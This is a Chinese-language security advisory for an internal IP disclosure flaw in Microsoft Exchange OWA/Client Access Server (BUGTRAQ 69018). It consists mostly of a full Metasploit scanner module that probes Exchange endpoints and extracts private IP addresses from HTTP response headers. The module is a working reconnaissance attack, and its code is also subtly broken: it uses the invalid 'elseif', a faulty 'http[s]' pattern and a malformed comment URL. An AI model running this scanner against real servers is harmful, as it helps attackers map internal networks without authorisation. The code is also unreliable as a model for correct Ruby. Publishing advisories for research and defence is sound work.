发布日期：2014-08-01
更新日期：2014-08-05

受影响系统：

Microsoft Exchange Server 2013
Microsoft Exchange Server 2010
Microsoft Exchange Server 2007
Microsoft Exchange Server 2003

描述：

---

BUGTRAQ  ID: 69018

Microsoft Exchange Server是微软公司的一套电子邮件服务组件。

Outlook Web App (OWA)/Client Access Server (CAS)在实现上存在IIS HTTP头文件路径IP信息泄露漏洞，攻击者可利用此漏洞获取敏感信息。

<*来源：Nate Power
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize
    super(
      'Name'           => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
      'Description'    => %q{
        This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013
servers.
      },
      'Author'         =>
        [
          'Nate Power'
        ],
      'DisclosureDate' => 'Dec 17 2012',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'SSL' => true
      }
    )

   register_options(
       [
        OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
        OptInt.new('RPORT', [ true, "The target port", 443]),
       ], self.class)
  end

  def run_host(target_host)
   rhost = target_host
   print_status("#{msg} Checking HTTP headers")
   get_ip_extract
  end

  def get_ip_extract
    urls = ["/Microsoft-Server-ActiveSync/default.eas",
      "/Microsoft-Server-ActiveSync",
      "/Autodiscover/Autodiscover.xml",
      "/Autodiscover",
      "/Exchange",
      "/Rpc",
      "/EWS/Exchange.asmx",
      "/EWS/Services.wsdl",
      "/EWS",
      "/ecp",
      "/OAB",
      "/OWA",
      "/aspnet_client",
      "/PowerShell"]

    result = nil

    urls.each do |url|
      begin
        res = send_request_cgi({
          'version' => "1.0",
          'uri'      => "#{url}",
          'method'   => 'GET',
          'vhost'  =>  ''
        }, timeout = datastore['TIMEOUT'])
      
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
        print_error("#{msg} HTTP Connection Failed")
        next
      end

      if not res
        print_error("#{msg} HTTP Connection Timeout")
        next
      end

      if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic
realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
        result = match.captures[0]
        print_status("#{msg} Status Code: 401 response")
        print_status("#{msg} Found Path: " + url )
        print_good("#{msg} Found target internal IP address: " + result)
        return result
       elseif
        print_warning("#{msg} No internal address found")
        next
      end

      if res and (res.code > 300 and res.code < 310) and (match =
res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
        result = match.captures[0]
        print_status("#{msg} Status Code: #{res.code} response")
        print_status("#{msg} Found Path: " + url )
        print_good("#{msg} Found target internal IP address: " + result)
        return result
       elseif
        print_warning("#{msg} No internal address found")
        next
      end
    end

    if result.nil?
      print_warning("#{msg} Nothing found")
    end

    return result
  end
  def msg
    "#{rhost}:#{rport} -"
  end
end

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://technet.microsoft.com/security/bulletin/

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